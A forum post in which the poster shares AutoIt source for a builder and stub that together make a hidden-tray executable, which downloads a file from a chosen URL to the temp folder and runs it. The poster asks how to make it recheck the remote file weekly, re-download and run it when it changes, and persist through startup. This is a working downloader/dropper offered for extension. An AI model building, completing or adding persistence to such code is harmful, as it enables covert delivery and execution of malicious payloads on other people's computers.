HI all
i have a mini program that is made from a bulder and a stub
when you open the bulder there will be e textbox you but a download link ther then press build
after that a new exe app is generated when you open it it download and run the url that you had pasted in the bulder
here is the bulder code:
#include <ButtonConstants.au3>
#include <EditConstants.au3>#include <GUIConstantsEx.au3>#include <WindowsConstants.au3>#NoTrayIcon#Region ### START Koda GUI section ### Form=$Form1 = GUICreate("Downloader", 287, 54, 192, 124)$http = GUICtrlCreateInput("http://www.mysite.com/file.exe", 8, 16, 201, 21)$build = GUICtrlCreateButton("Build", 216, 8, 65, 33)GUISetState(@SW_SHOW)#EndRegion ### END Koda GUI section ###While 1$nMsg = GUIGetMsg()Switch $nMsgCase $GUI_EVENT_CLOSEExitCase $build$Input1 = GUICtrlRead($http)FileCopy(@ScriptDir & "\stub.exe",@ScriptDir & "\data.exe")$f = FileOpen("data.exe", 1)FileWrite($f, @CRLF & "[data]" & @CRLF & "data=" & $Input1)FileClose($f)FileMove(@scriptdir & "\data.exe",@DesktopDir & "\ready.exe")EndSwitchWEnd
and the stub code:
#NoTrayIcon
;read the url from itself:Global $url = IniRead(@ScriptFullPath, 'data', 'data', 'Null')Local $hDownload = InetGet($url, @TempDir & "\file.exe", 1, 1)DoSleep(250)Until InetGetInfo($hDownload, 2) ; Check if the download is complete.Local $nBytes = InetGetInfo($hDownload, 0)InetClose($hDownload) ; Close the handle to release resources.ShellExecute(@tempdir & "\file.exe")
what i want to make is when you first run the stub it download and check the size of the file in the link : www.site.com/file.exe
and every week it check the size of the file in the link: www.site/file.exe if it is changed it download and execute if not changed do nothing ...
i guess it need to be added to startup ? can any1 give me some help ?